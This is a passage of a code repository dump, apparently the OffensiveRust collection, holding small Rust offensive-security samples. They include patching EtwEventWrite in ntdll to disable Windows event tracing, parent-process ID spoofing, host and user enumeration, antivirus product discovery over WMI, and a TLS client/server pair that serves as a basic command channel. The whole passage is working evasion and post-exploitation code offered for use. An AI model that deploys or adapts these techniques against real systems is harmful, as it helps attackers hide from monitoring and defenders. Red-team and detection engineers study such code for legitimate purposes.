"mov rbx, qword ptr gs:[0x60]", 11 | "mov rax,rbx", 12 | "pop rbx", 13 | out("rax") rax, 14 | ); 15 | } 16 | println!("PEB Address: 0x{:x}",rax); 17 | } 18 | -------------------------------------------------------------------------------- /base64_system_enum/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "base64_system_enum" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | whoami = { git = "https://github.com/libcala/whoami" } 10 | base64 = {version="0.13.0"} 11 | -------------------------------------------------------------------------------- /base64_system_enum/src/main.rs: -------------------------------------------------------------------------------- 1 | use base64; 2 | use whoami; 3 | 4 | fn main() { 5 | let deviceName =base64::encode(&whoami::hostname()); 6 | let userName =base64::encode(&whoami::username()); 7 | let procNamePath = std::env::current_exe(); 8 | println!("Hostname: {}\nEncoded Hostname: {}",whoami::hostname(),deviceName); 9 | println!("Username: {}\nEncoded Username: {}",whoami::username(),userName); 10 | println!("Executable Path: {:?}",procNamePath.unwrap()); 11 | println!("Decoded Username: {:?}",String::from_utf8_lossy(&base64::decode("REVTS1RPUC1VNElFMEVF").unwrap())); 12 | } 13 | -------------------------------------------------------------------------------- /http-https-requests/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "http-https-requests" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | reqwest = {version = "0.11.4", features = ["blocking"]} 10 | -------------------------------------------------------------------------------- /http-https-requests/src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate reqwest; 2 | 3 | fn main() { 4 | 5 | let client = reqwest::blocking::Client::builder().danger_accept_invalid_certs(true).build().unwrap(); 6 | let _response = client.post("https://google.com/test").header("Authorization", "testtest" ).body("test").send(); 7 | let test = _response.unwrap().text().unwrap(); 8 | let client2 = reqwest::blocking::Client::builder().danger_accept_invalid_certs(true).build().unwrap(); 9 | let url = "https://google.com"; 10 | let argumentsdata = format!("register={}","1234"); 11 | let concat = [url,&argumentsdata].join("/"); 12 | client2.get(&concat).send(); 13 | 14 | } 15 | -------------------------------------------------------------------------------- /offensiverust.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/OffensiveRust/7858be9adaf01eedfc455476ca65a134aa5f2781/offensiverust.png -------------------------------------------------------------------------------- /patch_etw/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "patch_etw" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | winapi = {version = "0.3.9", features =["processthreadsapi","memoryapi"]} 10 | kernel32-sys = "0.2.2" 11 | -------------------------------------------------------------------------------- /patch_etw/src/main.rs: -------------------------------------------------------------------------------- 1 | extern crate winapi; 2 | extern crate kernel32; 3 | use winapi::um::processthreadsapi::GetCurrentProcess; 4 | use std::ptr::null_mut; 5 | 6 | fn main() { 7 | unsafe { 8 | let modu = "ntdll.dll\0"; 9 | let handle = kernel32::LoadLibraryA(modu.as_ptr() as *const i8); 10 | let mthd = "EtwEventWrite\0"; 11 | let mini = kernel32::GetProcAddress(handle, mthd.as_ptr() as *const i8); 12 | let oldprotect : winapi::ctypes::c_ulong = 0; 13 | let hook = b"\xc3"; 14 | kernel32::VirtualProtectEx(GetCurrentProcess() as *mut std::ffi::c_void,mini as *mut std::ffi::c_void,1,0x40,oldprotect); 15 | kernel32::WriteProcessMemory(GetCurrentProcess() as *mut std::ffi::c_void,mini as *mut std::ffi::c_void,hook.as_ptr() as *mut std::ffi::c_void,1,null_mut()); 16 | kernel32::VirtualProtectEx(GetCurrentProcess() as *mut std::ffi::c_void,mini as *mut std::ffi::c_void,1,oldprotect,0x0); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /ppid_spoof/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ppid_spoof" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | winapi = {version = "0.3.9", features = ["processthreadsapi","winnt","winbase","minwindef","impl-default", "heapapi","basetsd"]} 10 | -------------------------------------------------------------------------------- /ppid_spoof/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::mem; 2 | use std::ptr::null_mut; 3 | use winapi::ctypes::c_void; 4 | use winapi::shared::basetsd::SIZE_T; 5 | use winapi::um::heapapi::{GetProcessHeap, HeapAlloc}; 6 | use winapi::um::processthreadsapi::{ 7 | CreateProcessA, InitializeProcThreadAttributeList, OpenProcess, UpdateProcThreadAttribute,PROCESS_INFORMATION, 8 | }; 9 | use winapi::um::winbase::STARTUPINFOEXA; 10 | use winapi::um::winnt::{HANDLE, LPSTR}; 11 | 12 | 13 | fn main() { 14 | let mut attrsize: SIZE_T = Default::default(); 15 | let mut pi = PROCESS_INFORMATION::default(); 16 | let mut si = STARTUPINFOEXA::default(); 17 | unsafe { 18 | let mut openproc: HANDLE = OpenProcess(0x02000000, 0, 19400); //PPID 19 | 20 | InitializeProcThreadAttributeList(null_mut(), 1, 0, &mut attrsize); 21 | si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, attrsize) as _; 22 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &mut attrsize); 23 | UpdateProcThreadAttribute( 24 | si.lpAttributeList, 25 | 0, 26 | 0 | 0x00020000, 27 | (&mut openproc) as *mut *mut c_void as *mut c_void, 28 | mem::size_of::(), 29 | null_mut(), 30 | null_mut(), 31 | ); 32 | si.StartupInfo.cb = mem::size_of::() as u32; 33 | CreateProcessA( 34 | null_mut(), 35 | "notepad.exe\0".as_ptr() as LPSTR, 36 | null_mut(), 37 | null_mut(), 38 | 0, 39 | 0x00080000, 40 | null_mut(), 41 | null_mut(), 42 | &mut si.StartupInfo, 43 | &mut pi, 44 | ); 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /tcp_ssl_client/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "tcp_ssl_client" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | openssl = { version = "0.10.26", features = ["vendored"] } 10 | -------------------------------------------------------------------------------- /tcp_ssl_client/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::io::{Read, Write}; 2 | use std::net; 3 | use std::net::{Ipv4Addr, TcpStream, SocketAddr}; 4 | use std::process::{Command, Stdio}; 5 | use std::str; 6 | use std::thread; 7 | use std::path::Path; 8 | use openssl::ssl::{SslMethod, SslConnector}; 9 | use std::ffi::OsStr; 10 | 11 | fn main() { 12 | let mut build = SslConnector::builder(SslMethod::tls()).unwrap(); 13 | build.set_verify(openssl::ssl::SslVerifyMode::NONE); 14 | let connector = build.build(); 15 | let addr = Ipv4Addr::new(127,0,0,1); 16 | let sockettest = SocketAddr::from((addr,4443)); 17 | let convertsocket = sockettest.to_string(); 18 | let convertip = addr.to_string(); 19 | let stream = TcpStream::connect(&convertsocket).unwrap(); 20 | let mut stream = connector.connect(&convertip,stream).unwrap(); 21 | loop { 22 | let mut recv = [0 as u8; 1024]; 23 | stream.read(&mut recv); 24 | let my_string = String::from_utf8_lossy(&recv); 25 | let mut splitted = my_string.split("\r"); 26 | println!("{:?}",splitted.next().unwrap()); 27 | stream.write_all(b"RUST IS GOOD FOR OFFSEC"); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /tcp_ssl_server/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "tcp_ssl_server" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | openssl = { version = "0.10.26", features = ["vendored"] } 10 | -------------------------------------------------------------------------------- /tcp_ssl_server/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::io; 2 | use std::env; 3 | use std::io::{Read, Write}; 4 | use std::net::{TcpListener, TcpStream}; 5 | use std::thread; 6 | use openssl::ssl::{SslMethod, SslAcceptor, SslStream, SslFiletype}; 7 | use std::sync::Arc; 8 | 9 | fn main() { 10 | let args: Vec = env::args().collect(); 11 | let port = &args[1]; 12 | let mut complete = "0.0.0.0:".to_string(); 13 | complete.push_str(&port); 14 | let mut acceptor = SslAcceptor::mozilla_intermediate(SslMethod::tls()).unwrap(); 15 | acceptor.set_private_key_file("server.key", SslFiletype::PEM).unwrap(); 16 | acceptor.set_certificate_chain_file("server.crt").unwrap(); 17 | acceptor.check_private_key().unwrap(); 18 | let acceptor = Arc::new(acceptor.build()); 19 | let listener2 = TcpListener::bind(&complete).unwrap(); 20 | println!("[+] Server listening on port {}",&port); 21 | for stream2 in listener2.incoming() { 22 | match stream2 { 23 | Ok(stream2) => { 24 | println!("New connection: {}", stream2.peer_addr().unwrap()); 25 | let acceptor = acceptor.clone(); 26 | thread::spawn(move || { 27 | let stream2 = acceptor.accept(stream2).unwrap(); 28 | handle_client(stream2) 29 | }); 30 | } 31 | Err(e) => { 32 | println!("Error: {}", e); 33 | } 34 | } 35 | } 36 | } 37 | 38 | fn handle_client(mut stream: SslStream) { 39 | loop { 40 | print!("Input: "); 41 | io::stdout().flush().expect("failed to get it"); 42 | let mut input = String::new(); 43 | io::stdin().read_line(&mut input); 44 | stream.write(&mut input.as_bytes()).unwrap(); 45 | let mut data = [0 as u8; 100]; 46 | stream.read(&mut data); 47 | let string = String::from_utf8_lossy(&data); 48 | println!("{}", string); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /wmi_execute/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "wmi_execute" 3 | version = "0.1.0" 4 | edition = "2018" 5 | author = "trickster0" 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | wmi = "0.9.0" 10 | -------------------------------------------------------------------------------- /wmi_execute/src/main.rs: -------------------------------------------------------------------------------- 1 | use wmi::{COMLibrary, WMIConnection}; 2 | use std::collections::HashMap; 3 | 4 | 5 | fn main() -> Result<(), Box> { 6 | let _initialized_com = COMLibrary::new()?; 7 | 8 | let wmi_con = unsafe { WMIConnection::with_initialized_com(Some("ROOT\\securitycenter2"))? }; 9 | let results: Vec> = wmi_con.raw_query("SELECT displayName FROM AntiVirusProduct").unwrap(); 10 | for av in results { 11 | println!("{:?}",av.get("displayName").unwrap()); 12 | } 13 | 14 | Ok(()) 15 | } 16 | --------------------------------------------------------------------------------